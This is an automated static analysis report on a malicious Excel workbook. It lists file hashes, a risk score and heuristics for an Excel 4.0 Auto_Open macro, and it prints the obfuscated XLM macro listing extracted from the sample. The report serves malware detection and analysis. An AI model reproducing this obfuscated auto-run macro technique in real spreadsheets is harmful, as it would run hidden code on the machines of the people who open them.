Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e6e69c128c7e443d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:15 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 70af0cf2dd24a7ab965ce61126d79b1d SHA-1: 3a992cb8831931dee071ddc8982e3a008e867ed0 SHA-256: e6e69c128c7e443d72889d46d9f89b762ae0e966470e91d5d45e95cbecc4616a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6888 bytes
SHA-256: 4380bdf8e37b2d9c9dc041e2de413f922024d175c7be3e4fcfc14a4bb49f1031
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  POqsmXRZMSG
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E192 
' 0018     25 LABEL : Cell Value, String Constant - EHjBtxXKOu len=0 
' 0018     22 LABEL : Cell Value, String Constant - fIbNanL len=0 
' 0018     22 LABEL : Cell Value, String Constant - FMXgjLQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - GIYaRksF len=0 
' 0018     24 LABEL : Cell Value, String Constant - JVUyUGKeR len=0 
' 0018     23 LABEL : Cell Value, String Constant - kccLeRyP len=0 
' 0018     24 LABEL : Cell Value, String Constant - KnxDnFKzz len=0 
' 0018     25 LABEL : Cell Value, String Constant - lAEwhwIRBa len=0 
' 0018     24 LABEL : Cell Value, String Constant - ltxzfYOMd len=0 
' 0018     22 LABEL : Cell Value, String Constant - mBAIhJL len=0 
' 0018     21 LABEL : Cell Value, String Constant - NfLJxe len=0 
' 0018     25 LABEL : Cell Value, String Constant - obTgcuDYgy len=0 
' 0018     20 LABEL : Cell Value, String Constant - orkGp len=0 
' 0018     27 LABEL : Cell Value, String Constant - oRuKSCwBWzjH len=0 
' 0018     25 LABEL : Cell Value, String Constant - PpFpyxRdSC len=0 
' 0018     26 LABEL : Cell Value, String Constant - qaNtqRdyNhp len=0 
' 0018     23 LABEL : Cell Value, String Constant - qtJndLYx len=0 
' 0018     20 LABEL : Cell Value, String Constant - RAwiy len=0 
' 0018     24 LABEL : Cell Value, String Constant - uljyPKciJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - XvlsEpE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  POqsmXRZMSG,P41,"",-542.00000000000000000000
'  POqsmXRZMSG,P42,"",311.00000000000000000000
'  POqsmXRZMSG,P43,"",-872.00000000000000000000
'  POqsmXRZMSG,P44,"",-559.00000000000000000000
'  POqsmXRZMSG,P45,"",-567.00000000000000000000
'  POqsmXRZMSG,P46,"",-643.00000000000000000000
'  POqsmXRZMSG,E99,"SET.NAME("qaNtqRdyNhp",0+VALUE("0"))",""
'  POqsmXRZMSG,E101,"SET.NAME("oRuKSCwBWzjH",qaNtqRdyNhp)",""
'  POqsmXRZMSG,E105,"SET.NAME("ltxzfYOMd",qaNtqRdyNhp)",""
'  POqsmXRZMSG,E110,"SET.NAME("kccLeRyP",COUNTA(RAwiy))",""
'  POqsmXRZMSG,E115,"SET.NAME("lAEwhwIRBa",COUNTA(obTgcuDYgy))",""
'  POqsmXRZMSG,E119,[],""
'  POqsmXRZMSG,E124,"SET.NAME("PpFpyxRdSC","")",""
'  POqsmXRZMSG,E128,"oRuKSCwBWzjH",""
'  POqsmXRZMSG,E133,"SET.NAME("FMXgjLQ",HLOOKUP("*",RAwiy,oRuKSCwBWzjH,FALSE))",""
'  POqsmXRZMSG,E136,"KnxDnFKzz",""
'  POqsmXRZMSG,E140,"SET.NAME("JVUyUGKeR",qaNtqRdyNhp)",""
'  POqsmXRZMSG,E143,[],""
'  POqsmXRZMSG,E147,"JVUyUGKeR",""
'  POqsmXRZMSG,E149,"XvlsEpE",""
'  POqsmXRZMSG,E152,"GIYaRksF",""
'  POqsmXRZMSG,E155,"EHjBtxXKOu",""
'  POqsmXRZMSG,E159,"SET.NAME("NfLJxe",VALUE(HLOOKUP("*",obTgcuDYgy,EHjBtxXKOu,FALSE)))",""
'  POqsmXRZMSG,E164,"orkGp",""
'  POqsmXRZMSG,E166,"PpFpyxRdSC",""
'  POqsmXRZMSG,E171,"ltxzfYOMd",""
'  POqsmXRZMSG,E174,NEXT(),""
'  POqsmXRZMSG,E177,"fIbNanL",""
'  POqsmXRZMSG,E179,[],""
'  POqsmXRZMSG,E183,"mBAIhJL",""
'  POqsmXRZMSG,E185,NEXT(),""
'  POqsmXRZMSG,E190,RETURN(),""
'  POqsmXRZMSG,E219,"SET.NAME("uljyPKciJ",E99)",""
'  POqsmXRZMSG,E224,"RAwiy",""
'  POqsmXRZMSG,E226,"SET.NAME("obTgcuDYgy",R86C12)",""
'  POqsmXRZMSG,E231,"SET.NAME("mBAIhJL",240)",""
'  POqsmXRZMSG,E234,"SET.NAME("qtJndLYx",5)",""
'  POqsmXRZMSG,E239,uljyPKciJ(),""
'  POqsmXRZMSG,E240,HALT(),""

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